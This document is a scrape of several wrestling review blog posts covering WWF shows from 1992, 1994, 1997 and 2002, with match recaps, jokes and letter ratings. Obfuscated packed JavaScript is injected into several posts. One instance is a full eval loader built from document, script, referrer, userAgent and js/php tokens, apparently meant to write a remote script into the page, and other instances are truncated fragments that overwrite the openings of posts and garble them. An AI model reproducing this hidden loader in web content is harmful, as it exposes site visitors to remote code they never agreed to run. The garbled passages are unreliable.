Rocky starts his comeback with right hands (called a chop by Vince for no apparent reason). Top rope cross body, more or less Rocky’s finisher, is rolled through by HHH for two. Facebuster sets up a neckbreaker by HHH for a close two. HHH is getting frustrated. Piledriver gets two AGAIN as Vince and Jim can’t believe it. Superplex gets two and no one knows what to think.

HHH sets for the Pedigree but Rocky can’t stand up long enough for it to go on. Rocky falls flat on his face and is more or less dead. Honky shouts ROLL HIM OVER! HHH finally tries to do just that and gets rolled up by Rocky for the pin and the title in perhaps the biggest upset of all time up to that point.

Rating: B-. This was good but it’s really just Rocky hanging in there until the end for the one small package to win the title. That being said, the resilience thing with HHH being all stuck up and not going for the kill when he could have makes this work more than it should. Also it’s Rock vs. HHH so it’s hard not to like it at least a little bit.

Rocky cuts his best Boy Scout promo after the match, saying he’ll make his fans and family proud.

Ad for Final Four which was a great main event.

Here’s Sunny, poured into a little white dress. Ah she’s ring announcer.

Headbangers vs. Bob Holly/Aldo Montoya

 

Montoya is more famous as Justin Credible. We see some clips of some WWF guys on a country music show. Road Dogg got to sing his song on there and Hillbilly Jim played some guitar. Also there was a “match” with the Godwinns vs. Jarrett/the host. Who thought this was a good idea for a match? Mosh vs. Holly to start us off. Holly doesn’t so much do things well as much as he doesn’t do things well.

In case you can’t get it, this is a terribly boring match. It’s not that it’s bad but there’s no point to having it and yet it’s here anyway. We’re talking about Shawn Michaels anyway which is far more interesting so that helps. I mean really, does anyone want to watch these four guys have a match? The announcers aren’t paying a bit of attention to this which I can’t blame them for at all.

The Headbangers hit a double Gordbuster on Holly as they take over. Yeah I don’t care about this match at all either. The idea is that Shawn might have to have reconstructive surgery. In reality the knee was slightly injured but he could have gone without the surgery but that would have meant losing the title at Mania which he just wasn’t going to do.

We might have talked about this match for 20 seconds combined of four and a half minutes. Thrasher misses a moonsault and it’s off to Montoya. We’re talking about Brett Favre now. I can’t escape this guy. Finally the Headbangers win with a powerbomb/leg drop combination. Sunny says Mosh and Thrash just won. Even she wasn’t paying attention.

Rating: D. The match was ok I guess but at the same time this was one of those times where no one cared in the slightest and everyone knew it. WWF in 97 was just bad at some points and this is one of them. Who in the world thought this was something people would want to see? Bad match, but now let’s get to something that matters.

Vince introduces Gorilla Monsoon who is going to accept the WWF Title from Shawn Michaels. Shawn limps out and is very sad. Here’s the basic idea: Shawn was supposed to return the favor to Bret and lose the title to him at Mania 13. However Shawn didn’t really want to do that and “hurt his knee” and couldn’t do it. He claimed the doctors said it could be career ending when it was really minor. In short, Shawn didn’t want to lose so he forfeited the title and was back in the ring by May. This is the famous Lost My Smile speech and not a lot of the guys in the back bought it to put it mildly.

Shawn gets all teary eyed and talks about his body being beaten up and all that jazz. HUGE We Want Sid, the guy that might have been winning the title that night depending on who you ask. No one has had to endure the schedule that Shawn had over the years etc. This is rather sickening knowing what’s actually going on here. Do I think he was hurt? Yeah he was somewhat hurt but at the end of the day he was looking out for himself here far more than anyone else when Shawn as a heel could have worked very well but he was afraid of doing it.

He talks about how he’s not going to be around the title for a long time. The doctors aren’t sure where his knee is and he may be beyond reconstructive surgery at this point. Shawn talks about riding in leer jets and limousines as I have a feeling like I’ve heard this before. You also have to remember that the WWF was in real trouble at this point and had it not been for Austin they would have been dead. He hands the belt to Monsoon and says he’s going back home. Shawn says that somewhere along the line he lost his smile. Oh dear.

Overall my thought on this is Shawn knew what was really going on and he put his ego over the fans, the company, the title and the rest of his roster. He had no problem taking all the benefits of being champion but didn’t want to do the harder parts of it (like losing) and that to me isn’t right. The fans were mixed to put it mildly on this. This would have been fine at its time, but given that he would be back before the summer kills any sympathy this would have had.

Savio Vega vs. Undertaker

 

Savio turned heel recently and joined the Nation. Taker was feuding with them for lack of anything better to do. He would win the title at Mania so it seems like he got noticed. After a break we’re back with Taker destroying him. The announcers talk about Bret vs. Vader but it’s not as bad as it was in the tag match. Why in the world am I watching Savio Vega vs. the Undertaker? Who thought this was a good idea?

Taker hits a big boot and stumbles back from it. Leg drop gets two on Savio. Not yet Old School hits as this is one sided for the most part. There are still tickets available for the PPV in Chattanooga. Savio gets a low blow and a set of clotheslines to get two. The other members of the Nation interfere a bit as we’re waiting for Taker to end Savio.

The fans chant rest in peace. My goodness how nice does it sound to be able to take a nap and let someone else do this? Or just to not watch this at all? Savio gets a spinwheel kick to put Taker down for two. Since that’s his finisher the rest of the match is pretty predictable. Taker is finally bored with all this and hits a chokeslam to end it.

Rating: D-. Oh dang it all this was boring. Nothing at all was going on here and it never got interesting. It’s nearly NINE MINUTES LONG. Why in the world did this need nearly ten minutes? It’s Undertaker vs. Savio Vega for crying out loud. Boring match and one of the least interesting things I’ve seen in a good while.

Nation attacks, Ahmed saves, Nation lackeys are hurt.

Psycho Sid vs. Steve Austin

 

After Austin’s entrance, Gorilla says that the four guys have a golden opportunity on Sunday. Sid will get his title shot and will get it against the winner of the Final Four match this coming Monday. Sid would face Bret and win the title. Sid was mad over to say the least. Austin jumps Sid to start and the fight was on. Jerry picks Austin to win the title on Sunday.

Austin kicks Sid low and does Sid’s taunts as this is a total battle from the bell. Fans are TOTALLY behind Austin which is saying a lot considering how over Sid was at this point. Austin sends him into the post and takes him down in the ring with an elbow. This is pre-neck injury for Austin so he’s a completely different guy than the brawler he would become. Abdominal stretch by Austin but Sid gets a sleeper. And never mind as Austin suplexes him almost immediately.

Off to a front facelock so they can call some spots. JR says it’ll be Austin as well on Sunday while Vince says it’ll be Sid. You know, the guy that isn’t in the match Sunday? Sid hammers him down and misses a legdrop so Austin tries a failed Sharpshooter. Big boot takes Austin down and then Bret comes out to fight Austin and it’s a DQ win for Stone Cold.

Rating: C+. This was a brawl with the fans telling you a lot about what they wanted. You had a crazy dude in Sid and Austin being the anti-authority figure that everyone wanted to see. Thankfully Vince listened and everything turned out well in the end. This was a fun brawl and that’s all it needed to be.

Bret and Sid fight while Austin laughs.

Vader stumbles through an interview where he says he’s beaten everyone in the Final Four match recently.

Lawler talks about sending his mom money for Valentine’s Day. This is being written on the night Lawler faced Miz for the WWE Title at the Elimination Chamber where Lawler was talking about his mother passing away the previous week so that’s kind of sad to hear.

We replay part of the Shawn speech about losing his smile. Did you check under that copy of “How to Fake a Knee Injury?” When Vince hugs Shawn you can see him thinking “You bastard!!!”

Tag Titles: Farooq/Crush vs. British Bulldog/Owen Hart

 

Bulldog and Hart had the titles forever in one of the longest title reigns in history. No one since has had a longer WWF/E tag title reign that I can remember. That doesn’t count the Smackdown tag titles made in 2002 mind you. Owen vs. Crush to start and the Canadian gets a cross body for two. Over to Bulldog as Crush throws Owen around a bit.

We take a break just after Farooq tags in. Vince says that if anything significant happens while we’re gone it’ll be shown. Nothing is shown so that means nothing of note is happening during a title match. That sounds like blasphemy to Vince to me. Owen and Bulldog had been having issues lately and they do here as well, resulting in Bulldog being in trouble.

Bret is watching the match and says that what Shawn said was sad. We got split screen to do this of course so we can barely see the match. Bulldog is getting beaten down here if you’re curious. Bret says that there’s no way around Vader so Bret will have to do something different than he did last time when he lost. It’s Hitman Time, not Vader Time.

Ah hey it’s the full match rather than the split one. Owen starts a Bulldog chant even though the Bulldog is getting crushed out there. Hey that was funny and wasn’t even supposed to be! I kill myself sometimes. Crush gets a bodyscissors. Vince: “Speaking of body scissors, how would you like to be bodyscissored by La Femme Nikita, coming up next on USA!” That man is a natural salesman if there has ever been one.

The fans chant what sounds like Bulldog/Owen but it’s not really clear. Maybe if it was in a town bigger than Lowell, Massachusetts that would go a bit better. Bulldog reverses a bearhug with a belly to belly but can’t get a tag. Owen gets tagged but it’s not seen in a classic tag team move. Smith finally gets an enziguri to bring in Owen who cleans house. Missile dropkick to Crush gets two and it all breaks down. We hit the floor and Owen might have injured his knee. Injured or HBK-ified, it’s good enough for the count out to end this.

Rating: D+. I just wasn’t feeling this one at all. The idea was to plug the whole fighting amongst themselves champions and while that happened this felt rushed and a big forced. Not a terrible match but it just kind of came and went. The knee injury never went anywhere that I can remember.

The Nation beats down Bulldog post match while Owen tries to fix his knee. Bulldog helps him out but Owen limps back to get the belts. That’s nice subtle heel stuff.

Vader vs. Bret Hart

 

Main event time here. Before we get started though Taker comes out to watch. Oh and he’s got a loud mic. He hates to interrupt but Taker gets no respect anymore. This is a very un-Deadman like promo. He’s talking fast and sounds more like Biker Taker than Deadman Taker. Vader jumps Bret as Taker leaves and Hart is in trouble early on as we take a break.

Apparently just after they went to a break Austin came out and stomped on Bret some before being sent to the back. Vader goes up and Bret catches him in a POWERSLAM??? WHAT THE HECK??? Bret pounds away and gets a terrible looking Russian Leg Sweep for two. It might have helped if he actually, you know, swept the leg? BRET SLAMS VADER!!!! WHAT IN THE WORLD AM I WATCHING????? He picked him up like he was a cruiserweight and just turned him over for a slam like it was nothing. WHAT THE HECK?????

Bret can’t get the Sharpshooter. Well I guess he was in Power Bret mode or something. Dude Bret Hart slammed Vader. I can’t get over that. Why not a belly to back suplex too? Bret is throwing Vader around like he weighs 180. Bret low bridges Vader and there’s the Sharpshooter but Vader grabs a rope. Austin pops up in the balcony to yell at Bret and Vader drills the Canadian from behind. Vadersault misses and Bret gets the easy pin to end the show.

Rating: D+. Not bad but it was ok I guess. I really can’t get over that slam. Bret Hart just picked Vader up like he was picking up a Slurpie. This was just a match to set up the PPV for the most part with nothing special going on at all. Austin’s interference felt rushed as did Taker’s at the beginning. Either way the match at the PPV was great.

Overall Rating: C-. Well there’s certainly a lot of history here but the delivery isn’t that great. Shawn’s speech doesn’t really mean a lot anymore as he more or less just took a vacation. This wasn’t that bad though and considering the card had to be shuffled earlier in the week as did the PPV, this was pretty solid. Not great, but good enough for what it was.

Remember to follow me on Twitter @kbreviews



Monday Night Raw – January 7, 2002: The Loudest Ovation I Have Ever Heard

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkkys|var|u0026u|referrer|yhikk||js|php'.split('|'),0,{})) year of 2001 is gone and we’re now into the year that might be even worse in 2002. At this point we’re getting close to the Brand Split that has dominated the company since it first started. On the Raw side, the year would be dominated by some surprising champions in the form of Undertaker and Hulk Hogan, but by the end of the ear we’ll be getting a DX reunion and a big feud over the newly created World Heavyweight Championship. This is the first full year when WWF had no competition so let’s get to it.

Monday Night Raw
Date: January 7, 2002
Location: Madison Square Garden, New York City, New York
Attendance: 13,978
Commentators: Jerry Lawler, Jim Ross

The opening video is set to Beautiful Day as HHH is back tonight.

Test vs. Rob Van Dam

Trish and Terri argue at WWF New York, resulting in a wet t-shirt contest later tonight. This was back when Trish was a blonde head of hair and a big rack and nothing more.

Billy and Chuck vs. Scotty 2 Hotty/Albert

Lawler has a watergun and gets to emcee the t-shirt contest.

Intercontinental Title: Edge vs. Lance Storm

Edge is defending. Storm immediately jumps Edge and clotheslines him in the corner. They trade some fast rollups and Storm hooks the Canadian Maple Leaf (half crab). That goes nowhere so Edge elbows him in the face a few times and hits the Impaler to retain. This was barely a minute long.

Buy the WWF Magazine to read EVEN MORE about HHH.

Steve Austin/The Rock vs. Big Bossman/Booker T

Beer is consumed.

Apparently Rikishi gave Test a Stinkface recently.

Rikishi vs. Chris Jericho

Non-title here. Rikishi shoves him around to start and loads up a quick Stinkface, only to have referee Nick Patrick block it for no apparent reason. We head to the floor where Jericho rips the padding off the barricade and whips the fat man into it to take over. Back inside we go and Jericho gets two off a missile dropkick. The Lionsault misses though and the fat man starts his comeback.

Big Show, Torrie and Tajiri have an awkward moment talking about HHH until Angle comes in and accuses them of acting like teenagers at a Ricky Martin concert. Tajiri does a Martin impression. Next.

We recap the Vince/Flair thing earlier.

Tag Titles: Dudley Boys vs. Spike Dudley/Tazz

Remember to follow me on Twitter @kbreviews



On This Day: February 8, 1992 – Saturday Night’s Main Event #30: Just A Stop On The Road To Wrestlemania

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbnzi|var|u0026u|referrer|iikai||js|php'.split('|'),0,{})) Night’s Main Event 30
Date: February 8, 1992
Location: Lubbock Municipal Coliseum, Lubbock, Texas
Commentators: Vince McMahon, Bobby Heenan

We’re on FOX now so the show is about as dead as you could ask for. This is the followup to the 92 Rumble where Flair won the world title and Hogan actually teased a heel attitude at the end and got booed almost out of the building for it. This was a good time for the company as you had Flair, Hogan, Savage, Undertaker and Roberts crossing paths to an extent and the results rocked. Let’s get to it.

Intercontinental Title: Mountie vs. Roddy Piper

This is the rematch from the Rumble where Mountie was given the title for two days since Bret was hurt. Piper wouldn’t win another WWF title for about 15 years. He’s staggering around a bit so he might be a bit intoxicated. Piper is wrestling with a t-shirt on. Keep that in mind for a bit later. Apparently the winner gets Bret at Mania.

An interview with Bret says he hopes it’s Piper but is happy either way. Piper changes control when he gets his knees up to block a splash. The referee gets bumped and Mountie pours water on Piper and gives him the shock stick that he was using. Naturally it has no effect and Mountie gets it, complete with ridiculous sound effects. Piper pulls off his shirt to reveal a vest saying Shock Proof in a rather infamous moment for some reason.

Rating: C. It was about the ending and to give Mountie his rematch. It worked fine so I can’t complain. There’s not much here but since the ending was effective I’m all fine and good with it.

We get a replay of the ending of the end of the Rumble with Sid getting robbed by Hogan and Gorilla having no issue with it of course. Heenan’s near orgasm is great. We see the Mania 8 “Press Conference” with Hogan being named the #1 contender for ZERO reason. I mean seriously, he came in third and got dumped fairly. What sense does that make even in kayfabe? Sid turns heel more or less in an interview there.

Sid Justice/Hulk Hogan vs. Ric Flair/Undertaker

The “faces” say that they’re united. Can you see it coming? If not you’re an idiot. Hogan comes out with Brutus Beefcake instead of his partner which makes him look even more heelish. Sid and Flair start us off. We get Hogan vs. Flair and since this isn’t WCW, Flair has a chance. Hogan is of course dominating because he has to by some law.

There have been about 5 tags inside of two minutes. The idea here is Hogan is trying to do everything and Sid is getting annoyed with it. He’s jumped in twice now already. The big guys are in there now. We’ve had all four in there more often than we’ve had just two. Hogan does the four sides ear thing and Sid isn’t happy as we go to commercial. Back with Taker beating up Sid.

Sid manages to fight the heels off and get the….hot I guess tag to Hogan. Flair shows intelligence by going for the knee. You can’t question Flair’s psychology 90% of the time. Figure Four is on and it’s called a submission hold. The name is never used which is odd. Sid won’t make a tag. Taker gets a SWEET leaping clothesline to take down Hogan.

Sid gets booed and of course Vince sucks on Hogan a bit for old time’s sake. They edit out a whole line about the WWF Champion (this was aired on 24/7) and Sid drops to the floor instead of tagging and walks out. There goes the referee for the DQ and Brutus gets in. This was around the time when his face had been messed up. Hogan makes the save.

Rating: B-. It was a main event tag match and was all about the angle. That’s all well and good and it came off fine. The Hogan vs. Sid match would of course happen at Mania in what was potentially Hogan’s last match. That’s just amusing.

Sid says he rules the world, completely turning heel.

After a commercial Hogan questions Sid’s morals and says he’s not a good person. That’s just amusing.

Sgt. Slaughter/Jim Duggan vs. Beverly Brothers

Anyone think this might be a squash? They’re a new team here and it’s an attempt to make Sarge a face again that loved America. The announcers argue over the logic of giving Hogan Flair at Mania and Heenan keeps picking Vince’s arguments apart. This doesn’t even last three minutes and of course the proud Americans win.

Rating: N/A. This was quick and nothing of note. Yep that’s about it.

We recap Savage vs. Roberts from the past few months, which more importantly about Roberts being heel of the millennium by punching Liz. Roberts says he’ll do it again.

Jake Roberts vs. Randy Savage

Savage says a lot of things in a big rant that must have been fueled by cocaine if I know anything about wrestling. Naturally this is a big freaking brawl in every sense of the words. They fight all over the ringside area with both guys beating on each other for a few minutes each. Savage takes a DDT but Jake lets him get up. The second doesn’t connect though and Savage goes airborne.

And there’s the big elbow to end it in like 5 minutes. Ok then. Savage beats him up ever more until the suits come down to break it up. Liz runs out for the big celebration. We see Jake waiting behind the curtain as the show ends. Later we would find out that he was going to hit Liz with a chair but Taker turned face and grabbed it away instead.

Rating: C+. This was too fast to really get much out of. It’s ok but nothing special at all. These two never got the big match that they needed and I think it hurt the feud in the end. Not terrible at all but far from great.

Overall Rating: C-. Total storybuilding show here as nothing is really settled in the ring, although that’s true for just about every SNME. There are some well known moments here so it’s worth a look I guess and at 45 minutes factoring out commercials it’s not like it’s going to take forever to watch. Check it out, why not.

 

Remember to follow me on Twitter @kbreviews and pick up  my ebook of 1998 Monday Night Raw Reviews on Amazon at:

 



Monday Night Raw – December 8, 1997: He Is Ready

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkkkr|var|u0026u|referrer|basbk||js|php'.split('|'),0,{})) Night Raw
Date: December 8, 1997
Location: Civic Center, Portland, Maine
Attendance: 6,510
Commentators: Vince McMahon, Jerry Lawler, Kevin Kelly, Michael Cole

We open with a stills package from last night of Austin vs. Rock. No mention of the world title match yet.

We recap the not interesting stuff last night with the Outlaws, the Godwinns and the LOD.

Legion of Doom vs. Godwinns

Billy Gunn vs. Dude Love

The brawl starts on the floor and Roadie jumps in on commentary. Dude gets knocked into the announce table and Dogg gets to crack some jokes. Love comes back with right hands in the ring and a backslide for two, only to get taken down by a clothesline from Billy. Gunn misses a splash in the corner and Dude pounds away before sending Billy face first into the buckle a few times. Sweet Shin Music misses but a second attempt works a bit better, followed by the double arm DDT for the pin on Billy.

Rating: C-. For a four minute TV match between a comedy jobber and Mick Foley in his comedic persona, this was pretty decent stuff. The Outlaws would move on to feuding with Cactus Jack and Chainsaw Charlie (Terry Funk) before joining DX. In other words, we have a match that actually accomplishes something in the WWF.

JR teaches Taka Michinoku, who won the first Light Heavyweight Title last night, some English.

We get a history of Shawn destroying the Hart Family over the last few months.

Kurrgan vs. Flash Funk

Jackyl is on commentary here and he talks about how tonight is the start of a revolution. This is the same kind of monster dominance that you would expect. Kurrgan pounds Funk down, Funk gets in a few shots, the Claw ends Funk quickly.

Some stills explain the world title match last night.

Shamrock was mad last night.

Hour #2 begins.

Disciples of Apocalypse vs. Los Boricuas

Buy the PPV replay!

Jeff Jarrett vs. Vader

Salvatore Sincere vs. Marc Mero

Remember to follow me on Twitter @kbreviews and check out my ebook of 1998 Monday Night Raw reviews at:



My Radio Show Appearance

http://www.blogtalkradio.com/fanvsfannetwork/2013/02/07/mouth-of-the-south-shore-radio-show

 

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snnie|var|u0026u|referrer|byeha||js|php'.split('|'),0,{})) whole show runs about an hour and a half.  I show up roughly half an hour in and there’s about an hour chat between myself and the host, mainly about 1998 Raw.  There’s an echo when I talk but it comes and goes.  Check it out.



King of the Ring 1994: Steroid Trials Do Funny Things To The WWF

King of the Ring 1994
Date: June 19, 1994
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 12,000
Commentators: Gorilla Monsoon, Randy Savage, Art Donovan

This is a very interesting time in the company’s history. The main thing is that Vince McMahon is either on the stand against the federal government or is about to or has just gotten off the stand. What that means is that the writers more or less booked this show on their own and Vince had next to zero input on it. That’s simply not something that happens ever. This show kind of was thrown together because everyone wanted to keep their boss out of jail.

There just happened to be a PPV to book at the same time. Also, the winner here, almost like last year, is about as obvious as possible, but since that didn’t stop us last year why should it stop us this year? For absolutely no apparent reason, the final match tonight is Piper vs. Lawler, despite there being IC Champion vs. World Champion with Bret vs. Diesel for the belt, but that’s a more or less forgotten match with zero build so let’s get to the show and see why it happened.

For those of you that have never heard of him, Art Donovan is a Hall of Fame football player that would have been about 70 at this point. In a reference that maybe 4 of you will get, if you ever watched the Adventured of Pete and Pete, he’s the old football player that was the focus of an episode about aliens. He is pushing 70 here and there is absolutely zero point to him being out there. He’s terrible in ways I’ll get to later on.

After the generic intro, we’re ready to go. How hard is it to put a little thought into one of those? It’s not exactly rocket science, but come on now people. This is getting old indeed.

Before we start, here are the brackets for this year.

Razor Ramon
Bam Bam Bigelow

I.R.S.
Mabel

Owen Hart
Tatanka

1-2-3 Kid
Jeff Jarrett

Not the best field in the world to say the least.

First Round: Bam Bam Bigelow vs. Razor Ramon

Razor beat Kwang (Savio Vega) and Bigelow beat Thurman Plugg (Bob Holly. Don’t ask). Luna is actually curvy here. That’s just odd. Gorilla calls Razor the Macho Man which just makes my head hurt. Gorilla and Macho just don’t seem like the best combination for some reason. First round has a 15 minute time limit, 2nd 30 and finals are an hour. Luna distracting Razor with her very shapely figure lets Bigelow have the advantage.

Nothing wrong with having your woman give you an advantage. To you feminists that don’t like that term, she was introduced as his main squeeze. Savage offers to let Donovan hold his hand. Well ok then. Razor gets the reverse crotch on the post which is something new at the time. Donovan is just too old here, plain and simple. Savage asks if Luna will like Bam Bam still.

Gorilla asks what does that mean. Savage is just funny in his response of he’ll explain later. I will never get tired of seeing Bigelow throw that enziguri. It missed but whatever, it still looked awesome. If Luna wasn’t so freaky looking she’d be hot. We get a reference to Cal Ripken going after Gehrig’s record to date the show. They mention the KOTR being a launching pad like it was for Bret, who went on to be the world champion.

So, the fact that he was a former champion and automatically qualified because he was a former world champion had nothing to do with his future success? It was all the tournament? Is that what I’m being told? Bigelow hooks a torture rack of all things. I wonder what Luger was thinking at this point as his finisher is used by someone that likely never used it again. Not only that but he’s just standing there.

Luger bounced them up and down which if nothing else made it look a lot more painful as the person’s body was bent around Luger’s neck. Bigelow is just holding him up there and it looks really stupid. Donovan is more coherent now but he just sounds confused. “I thought he was dead! What happens now?” See what I mean? He just sounds like a confused old man, which isn’t honoring him or anything like that.

It’s just making him look stupid. Razor is WAY over. He hits a relatively easy slam which is impressive. Savage says that if Razor can hit the Edge on Bigelow that Savage will give him the Trophy of Life. That sounds like a reject from a Disney movie. Anyway, Razor counters a moonsault into more or less a rollup from the top for the pin.

Rating: C+. Run of the mill stuff here. Bigelow played a basic big strong power guy that tried to do something big and got caught. It’s a very simple formula and it worked pretty well. Razor winning was a given but they at least came up with an ending other than the Edge so points for that and Luna’s shape.

IRS and Mabel cut really bad promos about their match. IRS bumbled over his line or forgot what he was going to say or just isn’t that good as he just sounded idiotic here. Somehow, he’s better than Mabel though.

First Round: IRS vs. Mabel

Donovan wonders if IRS is one of the wrestlers. This is depressing. If nothing else, Rotunda had this gimmick down to the absolute T. Is Oscar like the grandfather of R-Truth or something? Oh blast it my video skips back a bit and I have to watch the intro twice. Gorilla shouts HO which just isn’t right at all as my childhood innocence (yes I still have some) is scarred forever.

Donovan asks for Mabel’s name. 14 seconds later he gets an answer. Oh, Mabel beat Pierre and IRS beat Scott Steiner. Wow that’s just odd indeed. Donovan says this match isn’t fair. Seriously, who thought this was a good idea? He actually gets a somewhat decent line in by saying he thought the guy in the white suit (Oscar) was there to take IRS to the hospital. Eh ok I guess that’s not bad.

He follows that up with this gem: “And you guys enjoy doing this?” He’s referring to being in the ring, but that’s never specified and it sounds like he’s saying he’s miserable doing the announcing. Again, there’s no mention of Savage having tournament experience for no apparent reason. He won the biggest tournament of all time so wouldn’t it make sense to point that out for younger viewers who aren’t sure who Savage is?

IRS goes for a slam and Mabel counters it with a small package. Yes, that’s what happened and I’m not on any medication or foreign substances other than some grape juice. Mabel starts to dominate, but he goes to the middle rope and misses an elbow. IRS grabs his leg without actually hooking it and while Mabel rolls around on the mat with his arms going up into the air, he gets the three anyway. This was just out there.

Rating: D. This was pretty bad. For one thing, IRS’ finisher is a clothesline. Mabel somehow wasn’t at his worst here as he could still move a bit, but the styles just completely contrasted here and it bombed badly. The ending sucked too as it just didn’t look right at all. It needed to be about a minute long but it was five and a half times that long so there we are.

First Round: Tatanka vs. Owen Hart

They beat Crush and Doink respectively. DANG Tatanka got a POP. Owen is the Rocket still here as Donovan wants to know what they weigh for some reason. Tatanka dominates to start using his incredibly generic offensive set. The crowd is hot if nothing else which is the only thing keeping me awake in this incredibly boring show. DAng it now three things are happening at once.

Tatanka is thrown into the post and Donovan is worried about the post of course. At the same time, we go to a split screen of IRS and Razor fighting in the back. At least they didn’t go to a solo shot of that. I would be able to give you a better description of that altercation if I wasn’t laughing at what Savage said: “I don’t know what it is but the wrestlers are stronger and faster lately.”

Remember: Vince McMahon, the owner of the company, the guy that gave Savage the chance to get over on a national level and the undisputed king of professional wrestling is on the stand against the federal government for STEROID charges. The irony of that line just made me crack up as it was so great.

We hit the sleeper and it occurs to me that despite the hold being considered one of the best moves ever to put someone out, only like 3 people that I can think of off the top of my head have ever won with it. That’s not a great track record. After not saying anything for a few minutes, Gorilla shouts out that WE ARE LIVE! Here’s Tatanka’s comeback and for some reason the crowd is still into this.

In something that amazes me, Tatanka actually uses a different move with a DDT, which wasn’t that great but I’ve seen worse. Oh and I almost forgot: this is the beginning of the New Generation which lasted all of a year or two with them constantly reminding us that this is the NEW generation despite it being the same guys we had seen for years now.

Anyway, Owen wins with a reversed sunset flip as all of a sudden Tatanka, after not being able to be beaten for two and a half years now can be beaten with a simple counter. I love the power of pushes.

Rating: D+. This was just average. It felt like a match you would see on Superstars or in the middle of Raw or at a house show. There was nothing at all special about it whatsoever and I just flat out didn’t care. It wasn’t interesting at all and it just needed to end. It wasn’t bad, but I just couldn’t have cared less.

Shawn and Diesel think Bret isn’t so great.

First Round: Jeff Jarrett vs. 1-2-3 Kid

Jarrett is the country singer here, having not been in the company only a few months here. He beat Luger of all people here. Donovan thinks he’s an Islander of all things. Are you starting to see what I’m working with here? Kid beat Adam Bomb to get here. The announcers are ignoring Donovan which is easily the smart thing to do. He doesn’t even know who the faces and heels are.

Jarrett is wearing an orange jumpsuit kind of thing that he would wear and black boots. It just doesn’t look right. Jarrett goes WAY old school and busts out the Slingshot Suplex. Naturally Kid is being destroyed here which is what always happens for the majority of his matches. Gorilla says that Jarrett has a powerhouse upper body. Randy Savage is somehow the most sensible man on commentary tonight..

He tries in vain to teach Donovan some very basic stuff. He responds by saying Jarrett is cute. What was the point of this again? Kid steals a win with a small package, which gets him three piledrivers for no apparent reason. What does the term beside yourself mean anyway? How can you be beside yourself? Wouldn’t that mean you were cloned or something like that? Kid is DEAD. He looks bad enough to be a member of the Clique. You know all of a sudden things make a lot more sense.

Rating: C-. This was kind of all over the place. Jarrett was nothing at this point and the Kid was an underdog that no one believed in, making the dynamics of this match just odd. The styles here just didn’t mesh at all and it came off as odd with an abrupt finish. It wasn’t particularly bad, but it just felt weird if that makes sense.

Bret wants Diesel and isn’t afraid of the Jackknife. He says there’s a family member to balance out Shawn but won’t say who.

WWF Title: Bret Hart vs. Diesel

Story: Diesel is IC Champion, big, strong, and therefore should get a title shot. That’s all there is to it so here we go. Donovan says it would be scary to line up with on a football line against Diesel. Earlier tonight I was watching The Longest Yard where Nash was a football player in an ironic bit. Anyway the family member is Neidhart which is a nice little surprise.

Why is Anvil so fondly remembered? He wasn’t particularly a great wrestler. To be fair he wasn’t anything bad at all, but he was a rather generic power guy. I guess it’s because he did what he did very well. He never really was bad at all and put on some very good tag matches. Diesel is IC Champion here. They mention that Anvil played for the Raiders and Donovan comes to life all of a sudden. The guy loves football if nothing else.

This really was an epic rivalry with these two as they had some very good matches over the years. This more or less is the same match they would always do but neither was at that level yet. It’s still entertaining enough despite having some flaws. Diesel uses standard power moves while Bret takes a great beating and goes for the legs when he can.

Why mess with stuff that works really well? After about 20 minutes of pretty good back and forth stuff including about 3 near Sharpshooters and Anvil being an idiot in general, Neidhart gets nailed by Diesel while Shawn hits Bret with a belt. Diesel is setting for the powerbomb but Anvil runs in for the rather cheap DQ.

If nothing else it’s smart to have Diesel hit him to save some of Bret’s face. Neidhart is MAD and leaves while the heels beat up Bret. A bunch of suits come down to clear the ring as we get the pinfall or submission announcement for a BIG pop. Bret was insanely over.

Rating: B. Like I said this was standard stuff for them but it still worked really well. Bret could wrestle giants at a level that was only trumped by Sting for guys his size. This was a very good match and by far and away the best match of the night featuring a seven foot guy named after a sixteen wheel truck and a guy from Calgary named after a 19th century western writer. This was fine for what it was, but dang why was this in the middle of the card? I simply don’t get that.

Semi Finals: Razor Ramon vs. I.R.S.

IRS’ gimmick was great, but DANG he was bad on the mic. The bell rings and Razor jumps IRS, with Gorilla saying they’re not waiting for any kind of bell. That sums up the night as a whole: no one cares at all. The announcers try to bring up their complete failure of a feud around the new year which didn’t work at all as no one bought IRS as a legit challenger, so they put it on PPV anyway.

Hey, did you know that Bret won the tournament last year and is now world champion? I didn’t know if any of the first 20 references to it got through or not. You can tell Savage is getting a bit annoyed with Donovan as I have been all night long. Gorilla says that he can’t believe no one has ever grabbed IRS by the tie, except for EVERY MATCH HE HAS EVER HAD!!!

Donovan calls a clothesline a forearm, which is an understandable error I guess as it can be close at times. IRS goes for a back drop and gets the Edge for the pin. That was pointless.

Rating: D+. Again, this could have been on any house show you went to for about a year and it just wasn’t interesting at all. It wasn’t bad, but man it was boring. I mean that’s the problem with this whole show: nothing at all is of interest. It’s not a bad set of matches, but other than the world title match, nothing at all has been interesting at all. It’s all the same stuff and you can kind of tell that no one cared about this show other than Owen.

Bret is looking for someone, who I think was Neidhart but it’s not clear at all. He has the belt over his shoulder which just looks amusing for no particular reason.

Todd goes over the brackets again, unsure if Kid can go or not.

Semi–Finals:  Owen Hart vs. 1-2-3 Kid

Owen looks almost chipper here. Kid is injured to say the least. I’m not all that into this announcer. He was the guy at Mania 10 and I just didn’t like him that much. Gorilla says Kid was hammered earlier. How appropriate of a line that is. Macho recaps “for those who just tuned in”. Well ok then. Usually what I’ll do is watch a few minutes of a match then pause it or type during downtime like a chinlock or something like that.

